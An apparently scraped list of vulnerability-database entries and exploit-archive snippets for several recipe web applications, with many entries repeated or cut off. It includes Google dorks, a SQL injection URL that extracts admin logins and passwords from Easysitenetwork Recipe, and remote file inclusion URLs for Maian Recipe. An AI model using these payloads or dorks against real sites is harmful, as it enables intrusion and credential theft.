CVE-2008-0453: Improper Neutralization of Special Elements used in an SQL Command

SQL injection vulnerability in list.php in Easysitenetwork Recipe allows remote attackers to execute arbitrary SQL commands via the categoryid parameter...

Easysitenetwork Recipe (categoryid) Remote SQL Injection Vulnerability

No description provided by source. Recipes hackinglist.php?pagenumSQL Injection AUTHOR : S@BUN HOME : http://www.hackturkiye.com/ DORKS 2 : allinurl: " list.php?pagenum" EXPLOIT list.php?pagenum=0&categoryid=1+union+select+111,222,concatwschar58,login,password,444+from+adminlogin/ S@BUN...

Easysitenetwork Recipe (categoryid) Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications ===================================================================== Easysitenetwork Recipe categoryid Remote SQL Injection Vulnerabilit ===================================================================== Recipes...

Unfixed XSS vulnerability at www.tasteofnovascotia.com

Security researcher FiSh, has submitted on 25/07/2007 a cross-site-scripting XSS vulnerability affecting www.tasteofnovascotia.com, which at the time of submission ranked 6395229 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 07/08/2007. It is...

CVE-2007-0848

PHP remote file inclusion vulnerability in classes/classmail.inc.php in Maian Recipe 1.0 allows remote attackers to execute arbitrary PHP code via a URL in the pathtofolder parameter...

Remote file inclusion

PHP remote file inclusion vulnerability in classes/classmail.inc.php in Maian Recipe 1.0 allows remote attackers to execute arbitrary PHP code via a URL in the pathtofolder parameter...

CVE-2007-0848

PHP remote file inclusion vulnerability in classes/classmail.inc.php in Maian Recipe 1.0 allows remote attackers to execute arbitrary PHP code via a URL in the pathtofolder parameter...

CVE-2007-0848

The CVE-2007-0848 entry concerns Maian Recipe 1.0 and a PHP remote file inclusion in the file classes/class_mail.inc.php. The underlying issue allows an attacker to supply a URL via the path_to_folder parameter to cause remote PHP code execution. Exploitation details are not provided in the avail...

maian-rfi.txt

Found by Denven Script: http://www.maianscriptworld.co.uk/freestuff1975recipe.html Google Dork: "Powered by Maian Recipe v1.0" ERROR: classes/classmail.inc.php : include$pathtofolder.'classes/class.phpmailer.php'; RFI: http://www.SITE.com/path/classes/classmail.inc.php?pathtofolder=shell...

Maian Recipe 1.0 (path_to_folder) Remote File Include Vulnerability

No description provided by source. Found by Denven Script: http://www.maianscriptworld.co.uk/freestuff1975recipe.html Google Dork: "Powered by Maian Recipe v1.0" ERROR: classes/classmail.inc.php : include$pathtofolder.'classes/class.phpmailer.php'; RFI:...

CVE-2007-0848: Undefined Security Weakness

PHP remote file inclusion vulnerability in classes/classmail.inc.php in Maian Recipe 1.0 allows remote attackers to execute arbitrary PHP code via a URL in the pathtofolder parameter...

Maian Recipe 1.0 (path_to_folder) Remote File Include Vulnerability

Found by Denven Script: http://www.maianscriptworld.co.uk/freestuff1975recipe.html Google Dork: "Powered by Maian Recipe v1.0" ERROR: classes/classmail.inc.php : include$pathtofolder.'classes/class.phpmailer.php'; RFI: http://www.SITE.com/path/classes/classmail.inc.php?pathtofolder=shell...

Maian Recipe 1.0 (path_to_folder) Remote File Include Vulnerability

Exploit for unknown platform in category web applications =================================================================== Maian Recipe 1.0 pathtofolder Remote File Include Vulnerability =================================================================== Found by Denven Google Dork: "Powered b...

Maian Recipe 1.0 - path_to_folder Remote File Inclusion

Maian Recipe 1.0 - pathtofolder Remote File Inclusion Found by Denven Script: http://www.maianscriptworld.co.uk/freestuff1975recipe.html Google Dork: "Powered by Maian Recipe v1.0" ERROR: classes/classmail.inc.php : include$pathtofolder.'classes/class.phpmailer.php'; RFI:...

Maian Recipe 1.0 - 'path_to_folder' Remote File Inclusion

Found by Denven Script: http://www.maianscriptworld.co.uk/freestuff1975recipe.html Google Dork: "Powered by Maian Recipe v1.0" ERROR: classes/classmail.inc.php : include$pathtofolder.'classes/class.phpmailer.php'; RFI: http://www.SITE.com/path/classes/classmail.inc.php?pathtofolder=shell...

Design/Logic Flaw

rMake before 1.0.4 drops root privileges in a way that retains the original supplemental groups, which might allow attackers to gain privileges via a crafted recipe file, a different vulnerability than CVE-2007-0536...

CVE-2007-0557

rMake before 1.0.4 drops root privileges in a way that retains the original supplemental groups, which might allow attackers to gain privileges via a crafted recipe file, a different vulnerability than CVE-2007-0536...

CVE-2007-0557

rMake before 1.0.4 drops root privileges in a way that retains the original supplemental groups, which might allow attackers to gain privileges via a crafted recipe file, a different vulnerability than CVE-2007-0536...

CVE-2007-0557: Undefined Security Weakness

rMake before 1.0.4 drops root privileges in a way that retains the original supplemental groups, which might allow attackers to gain privileges via a crafted recipe file, a different vulnerability than CVE-2007-0536...

CVE-2006-4120

Cross-site scripting XSS vulnerability in the Recipe module recipe.module before 1.54 for Drupal 4.6 and earlier allows remote attackers to inject arbitrary web script or HTML via unspecified vectors...